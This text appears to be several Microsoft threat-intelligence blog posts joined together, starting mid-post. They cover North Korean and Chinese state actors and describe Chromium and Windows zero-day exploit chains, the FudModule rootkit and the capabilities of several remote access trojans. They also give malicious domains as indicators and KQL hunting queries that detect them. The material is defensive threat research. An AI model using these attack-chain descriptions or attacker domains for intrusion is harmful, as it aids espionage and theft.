Ruby Sleet has targeted and successfully compromised aerospace and defense-related organizations. Stealing aerospace and defense-related technology may be used by North Korea to increase its understanding of missiles, drones, and other related technologies.

North Korean IT workers: The triple threat

In addition to utilizing computer network exploitation through the years, North Korea has dispatched thousands of IT workers abroad to earn money for the regime. These IT workers have brought in hundreds of millions of dollars for North Korea. We consider these North Korean IT workers to be a triple threat, because they:

• Make money for the regime by performing “legitimate” IT work
• May use their access to obtain sensitive intellectual property, source code, or trade secrets at the company
• Steal sensitive data from the company and in some cases ransom the company into paying them in exchange for not publicly disclosing the company’s data

Microsoft Threat Intelligence has observed North Korean IT workers operating out of North Korea, Russia, and China.

Facilitators complicate tracking of IT worker ecosystem

Microsoft Threat Intelligence observed that the activities of North Korean IT workers involved many different parties, from creating accounts on various platforms to accepting payments and moving money to North Korean IT worker-controlled accounts. This makes tracking their activities more challenging than traditional nation-state threat actors.

Since it’s difficult for a person in North Korea to sign up for things such as a bank account or phone number, the IT workers must utilize facilitators to help them acquire access to platforms where they can apply for remote jobs. These facilitators are used by the IT workers for tasks such as creating an account on a freelance job website. As the relationship builds, the IT workers may ask the facilitator to perform other tasks such as:

• Creating or renting their bank account to the North Korean IT worker
• Creating LinkedIn accounts to be used for contacting recruiters to obtain work
• Purchasing mobile phone numbers or SIM cards
• Creating additional accounts on freelance job sites

Fake profiles and portfolios with the aid of AI

One of the first things a North Korean IT worker does is set up a portfolio to show supposed examples of their previous work. Microsoft Threat Intelligence has observed hundreds of fake profiles and portfolios for North Korean IT workers on developer platforms like GitHub.

Additionally, the North Korean IT workers have used fake profiles on LinkedIn to communicate with recruiters and apply for jobs. 

In October 2024, Microsoft found a public repository containing North Korean IT worker files. The repository contained the following information:

• Resumes and email accounts used by the North Korean IT workers
• Infrastructure used by these workers (VPS and VPN accounts along with specific VPS IP addresses)
• Playbooks on conducting identity theft and creating and bidding jobs on freelancer websites without getting flagged
• Actual images and AI-enhanced images of suspected North Korean IT workers
• Wallet information and suspected payments made to facilitators
• LinkedIn, GitHub, Upwork, TeamViewer, Telegram, and Skype accounts
• Tracking sheet of work performed and payments received by these IT workers

Review of the repository indicates that the North Korean IT workers are conducting identity theft and using AI tools such as Faceswap to move their picture over to documents that they have stolen from victims. The attackers are also using Faceswap to take pictures of the North Korean IT workers and move them to more professional looking settings. The pictures created by the North Korean IT workers using AI tools are then utilized on resumes or profiles, sometimes for multiple personas, that are submitted for job applications.

In the same repository, Microsoft Threat Intelligence found photos that appear to be of North Korean IT workers:

Microsoft has observed that, in addition to using AI to assist with creating images used with job applications, North Korean IT workers are experimenting with other AI technologies such as voice-changing software. This aligns with observations shared in earlier blogs showing threat actors using AI as a productivity tool to refine their attack techniques. While we do not see threat actors using combined AI voice and video products as a tactic, we do recognize that if actors were to combine these technologies, it’s possible that future campaigns may involve IT workers using these programs to attempt to trick interviewers into thinking they are not communicating with a North Korean IT worker. If successful, this could allow the North Korean IT workers to do interviews directly and not have to rely on facilitators obtaining work for them by standing in on interviews or selling account access to them.

Getting payment for remote work

The North Korean IT workers appear to be very organized when it comes to tracking payments received.  Overall, this group of North Korean IT workers appears to have made at least 370,000 US dollars through their efforts. 

Protecting organizations from North Korean IT workers

Unfortunately, computer network exploitation and use of IT workers is a low-risk, high-reward technique used by North Korean threat actors. Here are some steps that organizations can take to be better protected:

• Follow guidance from the US Department of State, US Department of the Treasury, and the Federal Bureau of Investigation on how to spot North Korean IT workers.
• Educate human resources managers, hiring managers, and program managers for signs to look for when dealing with suspected North Korean IT workers.
• Use simple non-technical techniques such as asking IT workers to turn on their camera periodically and comparing the person on camera with the one that picked up the laptop from your organization.
• Ask the person on camera to walk through or explain code that they purportedly wrote.

Storm-2077: No targets left behind

Over the past decade, following numerous government indictments and the public disclosure of threat actors’ activities, tracking and attributing cyber operations originating from China has become increasingly challenging as the attackers adjust their tactics. These threat actors continue to conduct operations while using tooling and techniques against targets that often overlap with another threat actor’s operation. While analyzing activity that was affecting a handful of customers, Microsoft Threat Intelligence assembled the pieces of what would be tracked as Storm-2077. Undoubtably, this actor had some victimology and operational techniques that overlapped with a couple of threat actors that Microsoft was already tracking.  

Microsoft assesses that Storm-2077 is a China state threat actor that has been active since at least January 2024. Storm-2077 has targeted a wide variety of sectors, including government agencies and non-governmental organizations in the United States. As we continued to track Storm-2077, we observed that they went after several other industries worldwide, including the Defense Industrial Base (DIB), aviation, telecommunications, and financial and legal services. Storm-2077 overlaps with activity tracked by other security vendors as TAG-100.

We assess that Storm-2077 likely operates with the objective of conducting intelligence collection. Storm-2077 has used phishing emails to gain credentials and, in certain cases, likely exploited edge-facing devices to gain initial access. We have observed techniques that focus on email data theft, which could allow them to analyze the data later without risking immediate loss of access. In some cases, Storm-2077 has used valid credentials harvested from the successful compromise of a system.

We’ve also observed Storm-2077 successfully exfiltrate emails by stealing credentials to access legitimate cloud applications such as eDiscovery applications. In other cases, Storm-2077 has been observed gaining access to cloud environments by harvesting credentials from compromised endpoints. Once administrative access was gained, Storm-2077 created their own application with mail read rights.

Access to email data is crucial for threat actors because it often contains sensitive information that could be utilized later for malicious purposes. Emails can include sign-in credentials, confidential communication, financial records, business secrets, intellectual property, and credentials for accessing critical systems, or employee information. Access to email accounts and the ability to steal email communication could enable an attacker to further their operations.

Microsoft’s talk on Storm-2077 at CYBERWARCON will highlight how vast their targeting interest covers. All sectors appear to be on the table, leaving no targets behind. Our analysts will talk about the challenges of tracking China-based threat actors and how they had to distinctly carve out Storm-2077.

CYBERWARCON Recap

At this year’s CYBERWARCON, Microsoft Security is sponsoring the post-event Fireside Recap. Hosted by Sherrod DeGrippo, this session will feature special guests who will dive into the highlights, key insights, and emerging themes that defined CYBERWARCON 2024. Interviews with speakers will offer exclusive insights and bring the conference’s biggest moments into sharp focus.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Microsoft shares latest intelligence on North Korean and Chinese threat actors at CYBERWARCON appeared first on Microsoft Security Blog.

CVE-2024-7971 is a type confusion vulnerability in the V8 JavaScript and WebAssembly engine, impacting versions of Chromium prior to 128.0.6613.84. Exploiting the vulnerability could allow threat actors to gain RCE in the sandboxed Chromium renderer process. Google released a fix for the vulnerability on August 21, 2024, and users should ensure they are using the latest version of Chromium. We would like to thank the Chromium team for their collaboration in addressing this issue. CVE-2024-7971 is the third exploited V8 type confusion vulnerability that has been patched in V8 this year, after CVE-2024-4947 and CVE-2024-5274. As with any observed nation-state actor activity, Microsoft has directly notified targeted or compromised customers, providing them with important information to help secure their environments.

In this blog, we share details on the North Korean threat actor Citrine Sleet and the observed tactics, techniques, and procedures (TTPs) used to exploit CVE-2024-7971, deploy the FudModule rootkit, and compromise systems. We further provide recommended mitigations, detection details, hunting guidance, and indicators of compromise (IOCs) to help defenders identify, respond to, and improve defenses against these attacks.

Who is Citrine Sleet?

The threat actor that Microsoft tracks as Citrine Sleet is based in North Korea and primarily targets financial institutions, particularly organizations and individuals managing cryptocurrency, for financial gain. As part of its social engineering tactics, Citrine Sleet has conducted extensive reconnaissance of the cryptocurrency industry and individuals associated with it. The threat actor creates fake websites masquerading as legitimate cryptocurrency trading platforms and uses them to distribute fake job applications or lure targets into downloading a weaponized cryptocurrency wallet or trading application based on legitimate applications. Citrine Sleet most commonly infects targets with the unique trojan malware it developed, AppleJeus, which collects information necessary to seize control of the targets’ cryptocurrency assets. The FudModule rootkit described in this blog has now been tied to Citrine Sleet as shared tooling with Diamond Sleet.

The United States government has assessed that North Korean actors, like Citrine Sleet, will likely continue targeting vulnerabilities of cryptocurrency technology firms, gaming companies, and exchanges to generate and launder funds to support the North Korean regime. One of the organizations targeted by the CVE-2024-7971 exploitation was also previously targeted by Sapphire Sleet.

Citrine Sleet is tracked by other security companies as AppleJeus, Labyrinth Chollima, UNC4736, and Hidden Cobra, and has been attributed to Bureau 121 of North Korea’s Reconnaissance General Bureau.

Exploiting CVE-2024-7971

The observed zero-day exploit attack by Citrine Sleet used the typical stages seen in browser exploit chains. First, the targets were directed to the Citrine Sleet-controlled exploit domain voyagorclub[.]space. While we cannot confirm at this time how the targets were directed, social engineering is a common tactic used by Citrine Sleet. Once a target connected to the domain, the zero-day RCE exploit for CVE-2024-7971 was served.

After the RCE exploit achieved code execution in the sandboxed Chromium renderer process, shellcode containing a Windows sandbox escape exploit and the FudModule rootkit was downloaded, and then loaded into memory. The sandbox escape exploited CVE-2024-38106, a vulnerability in the Windows kernel that Microsoft fixed on August 13, 2024, before Microsoft discovered this North Korean threat actor activity. CVE-2024-38106 was reported to Microsoft Security Response Center (MSRC) as being exploited; however, our investigations so far have not suggested any link between the reported CVE-2024-38106 exploit activity and this Citrine Sleet exploit activity, beyond exploiting the same vulnerability. This may suggest a “bug collision,” where the same vulnerability is independently discovered by separate threat actors, or knowledge of the vulnerability was shared by one vulnerability researcher to multiple actors.

Once the sandbox escape exploit was successful, the main FudModule rootkit ran in memory. This rootkit employs direct kernel object manipulation (DKOM) techniques to disrupt kernel security mechanisms, executes exclusively from user mode, and performs kernel tampering through a kernel read/write primitive. We did not observe any additional malware activity on the target devices.

FudModule rootkit

FudModule is a sophisticated rootkit malware that specifically targets kernel access while evading detection. Threat actors have been observed using the FudModule data-only rootkit to establish admin-to-kernel access to Windows-based systems to allow read/write primitive functions and perform DKOM.

Diamond Sleet has been observed using FudModule since October 2021. The earliest variant of FudModule was reported publicly in September 2022 by ESET and AhnLAB researchers, when threat actors exploited known vulnerable drivers to establish admin-to-kernel access in the technique known as bring your own vulnerable driver (BYOVD). In February 2024, Avast researchers published analysis on an updated FudModule variant that is significantly more advanced and difficult to detect, since it exploits a zero-day vulnerability in appid.sys, an AppLocker driver that is installed by default into Windows (CVE-2024-21338).

Further research by Avast uncovered a full attack chain deploying the updated variant of FudModule known as “FudModule 2.0,” which includes malicious loaders and a late-stage remote access trojan (RAT). This attack chain revealed the previously unknown malware Kaolin RAT was responsible for loading the FudModule rootkit to targeted devices. Kaolin RAT established a secure, AES-encrypted connection with the command and control (C2) server and had capabilities to execute a robust list of commands, such as downloading and uploading files to the C2 server and creating or updating processes. The updated variant of FudModule exhibited an attack chain similar to that seen in Citrine Sleet’s zero-day exploit of CVE-2024-7971.

On August 13, Microsoft released a security update to address a zero-day vulnerability in the AFD.sys driver in Windows (CVE-2024-38193) identified by Gen Threat Labs. In early June, Gen Threat Labs identified Diamond Sleet exploiting this vulnerability in an attack employing the FudModule rootkit, which establishes full standard user-to-kernel access, advancing from the previously seen admin-to-kernel access. Gen Threat Labs released this information publicly on August 16.

Recommendations

The CVE-2024-7971 exploit chain relies on multiple components to compromise a target, and this attack chain fails if any of these components are blocked, including CVE-2024-38106. Microsoft released a security update on August 13, 2024, for the CVE-2024-38106 vulnerability exploited by Diamond Sleet, thus also blocking attempts to exploit the CVE-2024-7971 exploit chain on updated systems. Customers who have not implemented these fixes yet are urged to do so as soon as possible for their organization’s security.

Zero-day exploits necessitate not only keeping systems up to date, but also security solutions that provide unified visibility across the cyberattack chain to detect and block post-compromise attacker tools and malicious activity following exploitation. Microsoft recommends the following mitigations to reduce the impact of this threat.

Strengthen operating environment configuration

• Keep operating systems and applications up to date. Apply security patches as soon as possible. Ensure that Google Chrome web browser is updated at version 128.0.6613.84 or later, and Microsoft Edge web browser is updated at version 128.0.2739.42 or later to address the CVE-2024-7971 vulnerability.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.

Strengthen Microsoft Defender for Endpoint configuration

• Ensure that tamper protection is turned on in Microsoft Defender for Endpoint.
• Enable network protection in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can help block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to help remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to help resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to help cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block majority of new and unknown variants.
• Turn on Microsoft Defender Antivirus scanning of downloaded files and attachments.
• Turn on real-time protection in Microsoft Defender Antivirus.

Detection details

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alert might also indicate threat activity related to this threat. Note, however, that this alert can also be triggered by unrelated threat activity.

• Emerging threat activity group Citrine Sleet detected

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2024-7971
• CVE-2024-38106

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence and protection information, and recommend actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender Threat Intelligence

• Actor profile: Citrine Sleet
• Actor profile: Diamond Sleet
• Tool profile: AppleJeus

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Citrine Sleet domain activity

Microsoft Defender XDR customers may query for devices that may have interacted with Citrine Sleet domains related to this activity. Note that Microsoft Defender for Endpoint customers may surface related events with the alert title “Emerging threat activity group Citrine Sleet detected”.

let domainList = dynamic(["weinsteinfrog.com", "voyagorclub.space"]);
union
(
    DnsEvents
    | where QueryType has_any(domainList) or Name has_any(domainList)
    | project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents"
),
(
    IdentityQueryEvents
    | where QueryTarget has_any(domainList)
    | project Timestamp, Domain = QueryTarget, SourceTable = "IdentityQueryEvents"
),
(
    DeviceNetworkEvents
    | where RemoteUrl has_any(domainList)
    | project Timestamp, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents"
),
(
    DeviceNetworkInfo
    | extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks)
    | mv-expand DnsAddresses, ConnectedNetworks
    | where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList)
    | project Timestamp, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo"
),
(
    VMConnection
    | extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames)
    | mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames
    | where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList)
    | project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection"
),
(
    W3CIISLog
    | where csHost has_any(domainList) or csReferer has_any(domainList)
    | project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog"
),
(
    EmailUrlInfo
    | where UrlDomain has_any(domainList)
    | project Timestamp, Domain = UrlDomain, SourceTable = "EmailUrlInfo"
),
(
    UrlClickEvents
    | where Url has_any(domainList)
    | project Timestamp, Domain = Url, SourceTable = "UrlClickEvents"
)
| order by TimeGenerated desc

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Search for domain IOCs

let domainList = dynamic(["weinsteinfrog.com", "voyagorclub.space"]); 
union 
( 
DnsEvents 
| where QueryType has_any(domainList) or Name has_any(domainList) 
| project TimeGenerated, Domain = QueryType, SourceTable = "DnsEvents" 
), 
( 
IdentityQueryEvents 
| where QueryTarget has_any(domainList) 
| project TimeGenerated, Domain = QueryTarget, SourceTable = "IdentityQueryEvents" 
), 
( 
DeviceNetworkEvents 
| where RemoteUrl has_any(domainList) 
| project TimeGenerated, Domain = RemoteUrl, SourceTable = "DeviceNetworkEvents" 
), 
( 
DeviceNetworkInfo 
| extend DnsAddresses = parse_json(DnsAddresses), ConnectedNetworks = parse_json(ConnectedNetworks) 
| mv-expand DnsAddresses, ConnectedNetworks 
| where DnsAddresses has_any(domainList) or ConnectedNetworks.Name has_any(domainList) 
| project TimeGenerated, Domain = coalesce(DnsAddresses, ConnectedNetworks.Name), SourceTable = "DeviceNetworkInfo" 
), 
( 
VMConnection 
| extend RemoteDnsQuestions = parse_json(RemoteDnsQuestions), RemoteDnsCanonicalNames = parse_json(RemoteDnsCanonicalNames) 
| mv-expand RemoteDnsQuestions, RemoteDnsCanonicalNames 
| where RemoteDnsQuestions has_any(domainList) or RemoteDnsCanonicalNames has_any(domainList) 
| project TimeGenerated, Domain = coalesce(RemoteDnsQuestions, RemoteDnsCanonicalNames), SourceTable = "VMConnection" 
), 
( 
W3CIISLog 
| where csHost has_any(domainList) or csReferer has_any(domainList) 
| project TimeGenerated, Domain = coalesce(csHost, csReferer), SourceTable = "W3CIISLog" 
), 
( 
EmailUrlInfo 
| where UrlDomain has_any(domainList) 
| project TimeGenerated, Domain = UrlDomain, SourceTable = "EmailUrlInfo" 
), 
( 
UrlClickEvents 
| where Url has_any(domainList) 
| project TimeGenerated, Domain = Url, SourceTable = "UrlClickEvents" 
),
(
CommonSecurityLog
| where DestinationDnsDomain has_any(domainList)
| project TimeGenerated, Domain = DestinationDnsDomain, SourceTable = "CommonSecurityLog" 
),
(
EmailEvents
| where SenderFromDomain has_any (domainList) or SenderMailFromDomain has_any (domainList)
| project TimeGenerated, SenderfromDomain = SenderFromDomain,SenderMailfromDomain = SenderMailFromDomain, SourceTable = "EmailEvents"
)
| order by TimeGenerated desc

Assess presence of vulnerabilities used by Citrine Sleet

DeviceTvmSoftwareVulnerabilities  
| where CveId has_any ("CVE-2024-7971","CVE-2024-38106","CVE-2024-38193","CVE-2024-21338")
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Indicators of compromise

During the attacks, Microsoft observed the following IOCs:

• voyagorclub[.]space
• weinsteinfrog[.]com

References

• https://nvd.nist.gov/vuln/detail/CVE-2024-7971
• https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop_21.html
• https://nvd.nist.gov/vuln/detail/CVE-2024-4947
• https://nvd.nist.gov/vuln/detail/CVE-2024-5274
• https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/
• https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf
• https://asec.ahnlab.com/wp-content/uploads/2022/09/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD_Sep-22-2022.pdf
• https://decoded.avast.io/luiginocamastra/from-byovd-to-a-0-day-unveiling-advanced-exploits-in-cyber-recruiting-scams/
• https://www.gendigital.com/blog/news/innovation/protecting-windows-users
• https://www.google.com/chrome/update/
• https://chromereleases.googleblog.com/2024/08/stable-channel-update-for-desktop_21.html

Learn more

Read our blogs on threat actors, including Sleet actors. For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post North Korean threat actor Citrine Sleet exploiting Chromium zero-day appeared first on Microsoft Security Blog.

First observed by Microsoft in 2014, Onyx Sleet has conducted cyber espionage through numerous campaigns aimed at global targets with the goal of intelligence gathering. More recently, it has expanded its goals to include financial gain. This threat actor operates with an extensive set of custom tools and malware, and regularly evolves its toolset to add new functionality and to evade detection, while keeping a fairly uniform attack pattern. Onyx Sleet’s ability to develop a spectrum of tools to launch its tried-and-true attack chain makes it a persistent threat, particularly to targets of interest to North Korean intelligence, like organizations in the defense, engineering, and energy sectors.

Microsoft tracks campaigns related to Onyx Sleet and directly notifies customers who have been targeted or compromised, providing them with the necessary information to help secure their environments. In this blog, we will share intelligence about Onyx Sleet and its historical tradecraft and targets, as well as our analysis of recent malware campaigns, with the goal of enabling the broader community to identify and respond to similar campaigns. We also provide protection, detection, and hunting guidance to help improve defenses against these attacks.

Who is Onyx Sleet?

Onyx Sleet conducts cyber espionage primarily targeting military, defense, and technology industries, predominately in India, South Korea, and the United States. This threat actor has historically leveraged spear-phishing as a means of compromising target environments; however, in recent campaigns, they have mostly exploited N-day vulnerabilities, leveraging publicly available and custom exploits to gain initial access. In October 2023, Onyx Sleet exploited the TeamCity CVE-2023-42793 vulnerability as a part of a targeted attack. Exploiting this vulnerability enabled the threat actor to perform a remote code execution attack and gain administrative control of the server.

Onyx Sleet develops and uses a spectrum of tools that range from custom to open source. They have built an extensive set of custom remote access trojans (RATs) that they use in campaigns, and routinely developed new variants of these RATs to add new functionality and implement new ways of evading detection. Onyx Sleet often uses leased virtual private servers (VPS) and compromised cloud infrastructure for command-and-control (C2).

Onyx Sleet is tracked by other security companies as APT45, SILENT CHOLLIMA, Andariel, DarkSeoul, Stonefly, and TDrop2.

Affiliations with other threat actors originating from North Korea

Onyx Sleet has demonstrated affiliations with other North Korean actors, indicating its integration with a broader network of North Korean cyber operations. Microsoft has observed an overlap between Onyx Sleet and Storm-0530. Both groups were observed operating within the same infrastructure and were involved in the development and use of ransomware in attacks in late 2021 and 2022.

Onyx Sleet targets

In pursuit of its primary goal of intelligence collection, Onyx Sleet has focused on targeting entities in the defense and energy industries, predominately in India, South Korea, and the United States. Recent attacks include the targeting of South Korean educational institutions, construction companies, and manufacturing organizations in May 2024. Onyx Sleet has also shown interest in taking advantage of online gambling websites, possibly for financial gain either on behalf of North Korea or for individual members of the group.

Onyx Sleet tradecraft

Onyx Sleet has used the same tactics, techniques, and procedures (TTPs) over extended periods, suggesting the threat actor views its tradecraft as effective. Onyx Sleet historically leveraged spear-phishing to compromise targets, and in more recent campaigns, they have been observed to primarily use exploits for initial access, alongside a loader, downloader, and backdoor as a part of its well-established attack chain.

Onyx Sleet nevertheless made some changes, for example, adding new C2 servers and hosting IPs, creating new malware, and launching multiple campaigns over time. In the past, Onyx Sleet introduced custom ransomware strains as a part of its campaigns. It also created and deployed the RAT identified by Kaspersky as Dtrack, which was observed in global attacks from September 2019 to January 2024. The Dtrack RAT follows the common attack chain used by Onyx Sleet and includes the exploitation of the Log4j 2 CVE-2021-44228 vulnerability for initial access and the use of payloads signed with an invalid certificate masquerading as legitimate software to evade detection.

Another example of Onyx Sleet introducing variations in the implementation of its attack chain is the campaign identified by AhnLab Security Intelligence Center (ASEC) in May 2024. In this campaign, the threat actor employed a previously unseen malware family dubbed as Dora RAT. Developed in the Go programming language, this custom malware strain targeted South Korean educational institutions, construction companies, and manufacturing organizations. 

Onyx Sleet avoids common detection techniques across its attack lifecycle by heavily using custom encryption and obfuscation algorithms and launching as much of its code in memory as possible. These tools and techniques have been observed in several reported campaigns, including TDrop2.

Onyx Sleet has also used several off-the shelf tools, including Sliver, remote monitoring and management (RMM) tools SOCKS proxy tools, Ngrok, and masscan. We have also observed Onyx Sleet using commercial packers like Themida and VMProtect to obfuscate their malware. In January 2024, Microsoft Threat Intelligence identified a campaign attributed to Onyx Sleet that deployed a Sliver implant, an open-source C2 framework that supports multiple operators, listener types, and payload generation. Like the Dtrack RAT, this malware was signed with an invalid certificate impersonating Tableau software. Further analysis revealed that this Onyx Sleet campaign compromised multiple aerospace and defense organizations from October 2023 to June 2024.

Apart from the previously mentioned Log4j 2 vulnerability, Onyx Sleet has exploited other publicly disclosed (N-day) vulnerabilities to gain access to target environments. Some vulnerabilities recently exploited by Onyx Sleet include:

• CVE-2023-46604 (Apache ActiveMQ)
• CVE-2023-22515 (Confluence)
• CVE-2023-27350 (PaperCut)
• CVE-2023-42793 (TeamCity)

In addition to these well-known and disclosed vulnerabilities, Onyx Sleet has used custom exploit capabilities in campaigns targeting users mostly in South Korea. In these campaigns, Onyx Sleet exploited vulnerabilities in a remote desktop/management application, a data loss prevention application, a network access control system, and an endpoint detection and response (EDR) product.

Recent malware campaigns

In December 2023, South Korean authorities attributed attacks that stole over 1.2 TB of data from targeted South Korean defense contractors using custom malware to Andariel. Microsoft has attributed several custom malware families used in the said attacks – TigerRAT, SmallTiger, LightHand, and ValidAlpha – to Onyx Sleet.

TigerRAT

Since 2020, Onyx Sleet has been observed using the custom RAT malware TigerRAT. In some campaigns using TigerRAT, Onyx Sleet exploited vulnerabilities in Log4j 2 to deliver and install the malware. When launched, this malware can steal confidential information and carry out commands, such as keylogging and screen recording, from the C2.

SmallTiger

In February 2024, ASEC identified SmallTiger, a new malware strain targeting South Korean defense and manufacturing organizations. During the process of lateral movement, this malware is delivered as a DLL file (SmallTiger[.]dll) and uses a C2 connection to download and launch the payload into memory. Microsoft researchers have determined that SmallTiger is a C++ backdoor with layered obfuscation, encountered in the wild as a Themida or VMProtect packed executable.

The SmallTiger campaign can be tied back to a campaign using a similar attack chain beginning in November 2023 that delivered the DurianBeacon RAT malware. In May 2024, Microsoft observed Onyx Sleet continuing to conduct attacks targeting South Korean defense organizations using SmallTiger.

LightHand

LightHand is a custom, lightweight backdoor used by Onyx Sleet for remote access of target devices. Via LightHand, Onyx Sleet can execute arbitrary commands through command shell (cmd.exe), get system storage information, perform directory listing, and create/delete files on the target device.

ValidAlpha (BlackRAT)

ValidAlpha (also known as BlackRAT) is a custom backdoor developed in the Go programming language and used by Onyx Sleet to target organizations globally in the energy, defense, and engineering sectors since at least 2023. ValidAlpha can run an arbitrary file, list contents of a directory, download a file, take screenshots, and launch a shell to execute arbitrary commands.

Samples of ValidAlpha analyzed by Microsoft had a unique PDB string: I:/01___Tools/02__RAT/Black/Client_Go/Client.go

Recommendations

Microsoft recommends the following mitigations to defend against attacks by Onyx Sleet:

• Keep software up to date. Apply new security patches as soon as possible.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to help cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Enable network protection to help prevent access to malicious domains.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can help block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to help remediate malicious artifacts that are detected post-breach.
• Configure investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to help resolve breaches, significantly reducing alert volume

Microsoft Defender customers can turn on attack surface reduction rules to help prevent common attack techniques used by Onyx Sleet:

• Block executable files from running unless they meet a prevalence, age, or trusted list criterion
• Block execution of potentially obfuscated scripts
• Block JavaScript or VBScript from launching downloaded, executable content

Detection details

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware families:

• CertutilPE
• Dora
• LightHand
• SmallTiger
• TigerCrypt
• TigerRAT
• ValidAlpha

Microsoft Defender for Endpoint

The following Microsoft Defender for Endpoint alerts can indicate associated threat activity:

• Onyx Sleet activity group

The following alerts might also indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity:

• Document contains macro to download a file

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2023-42793 (TeamCity)
• CVE-2023-27350 (Papercut)
• CVE-2021-44228 (Log4j 2)

Microsoft Defender Threat Intelligence

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool Profile: Dtrack
• Onyx Sleet targeting defense firm in the Middle East
• Onyx Sleet targets electrical equipment manufacturer in India
• Onyx Sleet exploits vulnerable VMWare Horizon servers
• Onyx Sleet using Sliver remote access trojan in attacks on aerospace and defense
• Same Targets, new playbooks: East Asia threat actors employ unique methods

Microsoft Sentinel queries

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Use this query to assess the existence of vulnerabilities used by Onyx Sleet:

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2021-44228","CVE-2023-27350","CVE-2023-42793")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
